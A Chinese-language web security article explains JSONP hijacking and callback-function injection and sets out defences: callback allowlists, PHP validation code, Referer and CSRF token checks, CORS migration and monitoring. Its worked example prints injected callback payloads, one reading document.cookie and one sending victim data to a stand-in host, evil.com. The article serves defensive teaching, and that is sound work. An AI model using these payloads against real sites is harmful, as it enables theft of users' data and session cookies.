网站漏洞防护中的JSONP劫持与Callback函数污染

网站漏洞防护中的JSONP劫持与Callback函数污染，本质上是一场针对浏览器同源策略的绕过攻击。攻击者利用的是JSONP这种跨域通信机制天生的信任缺陷——它不检查数据返回给谁，只检查请求是否被服务器接受。当你访问一个恶意页面，攻击者可以在你毫不知情的情况下，跨域读取你在另一个网站上的敏感数据，而这一切只需要一个精心构造的script标签。

JSONP的工作原理很简单：客户端通过动态创建script标签向跨域服务器发起GET请求，服务器将数据包裹在一个回调函数中返回，浏览器执行返回的JavaScript代码从而完成数据传递。问题就出在这里——script标签的src属性不受同源策略限制，任何网站都可以加载其他域下的脚本资源。如果服务器端没有对请求来源进行严格校验，攻击者只需要在自己的页面中伪造相同的JSONP请求，就能诱骗浏览器携带目标站点的Cookie，以受害者的身份获取数据。

触发JSONP劫持需要同时满足几个条件：第一，目标站点存在JSONP接口且返回敏感数据，比如用户个人信息、订单详情、身份令牌等。第二，服务器仅依赖Cookie进行身份认证，没有额外的Referer校验或CSRF Token机制。第三，JSONP接口的Callback函数名可由前端任意指定，或者服务器对Callback参数缺乏白名单限制。第四，返回数据的Content-Type设置不当，通常是text/html或application/javascript，而不是受严格保护的application/json。这四个条件在大量老旧系统和不规范的新系统中普遍存在，使得JSONP劫持至今仍是实战渗透中的高频漏洞。

Callback函数污染比普通的JSONP劫持更具破坏性，因为它不仅窃取数据，还能直接注入恶意逻辑。当服务器允许前端完全控制Callback参数的值，且未做任何过滤时，攻击者可以在Callback参数中插入任意JavaScript代码。服务器返回的内容会变成一段由攻击者部分控制的脚本，浏览器加载后立即执行。这意味着攻击者不再局限于获取数据，还能在受害者浏览器中执行任意操作，包括DOM操作、页面跳转、钓鱼弹窗，甚至结合其他漏洞实现持久化控制。

举个例子，假设一个正常的JSONP请求是这样的：

https://api.example.com/user/info?callback=handleData

服务器返回：

handleData({"username":"victim","email":"victim@example.com"})

如果服务器没有对callback参数做校验，攻击者可以构造：

https://api.example.com/user/info?callback=alert(document.cookie)//

服务器返回的内容就变成了：

alert(document.cookie)//({"username":"victim","email":"victim@example.com"})

浏览器执行这段代码时，会先弹出Cookie信息，然后通过双斜杠注释掉后面的JSON数据，整个攻击流程干净利落。更隐蔽的做法是，攻击者可以在Callback中注入一段将数据发送到远程服务器的代码，比如：

callback=function(data){new Image().src='https://evil.com/steal?d='%2BencodeURIComponent(JSON.stringify(data))}//

这样受害者的数据就被悄无声息地外传了。

很多开发者认为只要把返回的Content-Type设置为application/json就能防止JSONP劫持，这是一个常见的认知偏差。JSONP的本质是返回可执行的JavaScript代码，如果Content-Type设为application/json，浏览器在某些情况下会拒绝执行，但这取决于浏览器的MIME类型检查策略。老旧浏览器可能完全忽略Content-Type，直接解析响应内容。即使是现代浏览器，如果同时设置了X-Content-Type-Options: nosniff，确实能阻止MIME类型嗅探，但这只是增加了攻击难度，并没有从根本上解决问题。攻击者依然可以通过其他方式诱导服务器返回可执行代码，比如利用某些框架的异常处理机制，在报错页面中注入脚本。

真正有效的防护必须从多个层面同时入手。服务端需要严格限制Callback参数的值，只允许字母、数字、下划线和点号，长度控制在合理范围内，并且最好使用固定的Callback名称，不让前端自定义。如果业务必须支持动态Callback，应该维护一个白名单，只接受预先注册的回调函数名。同时，敏感数据的JSONP接口应该彻底废弃，改用CORS配合严格的白名单域名和Access-Control-Allow-Credentials进行跨域传输。

Referer校验是防御JSONP劫持的常用手段，但它的可靠性并不高。服务器检查请求头中的Referer字段，如果来源不在白名单内就拒绝响应。问题在于Referer头可以被多种方式移除或篡改。攻击者可以通过在恶意页面中使用meta标签设置referrer策略为no-referrer，完全隐藏Referer。部分浏览器在HTTPS跳转到HTTP时不会发送Referer。还有一些场景下，攻击者可以利用data:协议、javascript:协议或者iframe的srcdoc属性构造无Referer的请求环境。更隐蔽的是，某些浏览器插件或企业网络设备会主动修改或删除Referer头，导致正常用户的请求被误拦，而攻击者反而能找到绕过方法。

因此，Referer校验只能作为辅助防御层，不能作为唯一的依赖。更稳健的做法是引入CSRF Token机制，要求每个JSONP请求必须携带一个动态生成的、与用户会话绑定的Token，攻击者无法预测或获取这个Token，即使构造了请求也无法通过服务端验证。

从架构层面彻底消灭JSONP劫持的最佳方式，就是不再使用JSONP。对于需要跨域传输数据的场景，CORS是更安全的选择。CORS允许服务器通过响应头精确控制哪些域可以访问资源，支持哪些HTTP方法，是否允许携带Cookie。配置CORS时，Access-Control-Allow-Origin不能设置为通配符*同时又将Access-Control-Allow-Credentials设为true，这是严重的安全错误，会让任何域都能携带凭据访问资源。应该明确指定允许的源，并在服务端动态校验Origin请求头。

对于已经存在的大量JSONP接口，迁移需要分步进行。首先梳理所有JSONP接口，标记哪些返回了敏感数据，哪些只是公开信息。公开信息的接口可以保留，但也要加上Callback白名单。敏感数据接口立即停止支持JSONP，改为CORS或者要求同源请求。前端代码同步改造，使用fetch或XMLHttpRequest替代script标签加载。过渡期间可以在网关层对JSONP请求增加统一的Referer校验和Token验证，作为临时加固措施。

前端开发者在调用JSONP接口时也要保持警惕。避免在URL中拼接用户可控的输入作为Callback参数，即使这些输入来自后端模板渲染。曾经有案例，攻击者通过污染页面上的某个配置变量，间接控制了JSONP请求的Callback名称，实现了DOM XSS与JSONP劫持的组合攻击。对于第三方提供的JSONP服务，要评估其安全性和必要性，不能盲目信任。在代码审计中，搜索关键词如"jsonp"、"callback"、"jsonpCallback"，检查这些参数是否直接来自用户输入或URL参数，是否经过了严格的过滤。

一个容易被忽略的风险点是，某些前端框架和库的JSONP实现可能存在默认行为或配置缺陷。比如早期版本的jQuery在JSONP请求中会自动生成Callback名称，但如果开发者手动指定了Callback参数，框架可能不会进行额外的校验。审计时需要关注框架版本和具体调用方式，确保没有留下可被利用的缝隙。

在代码层面实现Callback参数的白名单校验并不复杂。以常见的后端语言为例，PHP中可以这样处理：

$callback = $_GET['callback'] ?? '';
if (!preg_match('/^[a-zA-Z_$][a-zA-Z0-9_$.]*$/', $callback)) {
    header('HTTP/1.1 400 Bad Request');
    exit('Invalid callback');
}

这个正则表达式限制了Callback只能以字母、下划线或美元符号开头，后续字符可以是字母、数字、下划线、美元符号或点号，有效防止了注入攻击。如果需要更严格的控制，可以维护一个允许的回调函数名列表：

$allowed_callbacks = ['showUser', 'handleList', 'processData'];
if (!in_array($callback, $allowed_callbacks, true)) {
    header('HTTP/1.1 403 Forbidden');
    exit('Callback not allowed');
}

Java Spring框架中，可以在拦截器或过滤器中统一处理，通过MappingJacksonValue的jsonpFunction属性设置固定的回调函数，而不是从请求参数中动态获取。如果使用Fastjson等库，要特别注意其JSONP支持功能，避免开启不必要的特性。

防御措施部署之后，还需要建立持续的监控机制。在WAF或应用日志中记录所有JSONP请求的Callback参数值，分析是否存在异常模式。正常的Callback名称通常是有限的几个固定值，如果突然出现包含括号、引号、分号或超长字符串的Callback参数，极有可能是攻击探测行为。设置告警规则，当检测到Callback参数包含危险字符或长度异常时，立即通知安全团队。同时监控Referer为空或来自非业务域名的JSONP请求量，异常的流量波动往往意味着正在遭受攻击。

定期对线上环境进行自动化安全扫描，使用工具模拟JSONP劫持攻击，验证防护措施是否生效。扫描时要注意覆盖各种绕过手法，包括Referer移除、Callback编码变形、换行符注入等。人工渗透测试也应该把JSONP劫持作为必测项，因为自动化工具可能无法完全模拟复杂的业务逻辑场景。

JSONP劫持与Callback函数污染之所以长期存在，根源在于开发便利性与安全性的冲突。JSONP的设计初衷是解决跨域问题，在CORS标准普及之前发挥了重要作用，但它从诞生起就缺乏安全基因。今天再回头看，很多当时为了快速上线而采用的JSONP接口，已经变成了埋在系统里的定时炸弹。安全人员需要持续推动业务方改造这些遗留接口，同时在新的开发规范中明确禁止使用JSONP传输敏感数据。技术的演进总是伴随着旧模式的淘汰，JSONP的安全问题不是无法解决，而是需要足够的重视和执行力。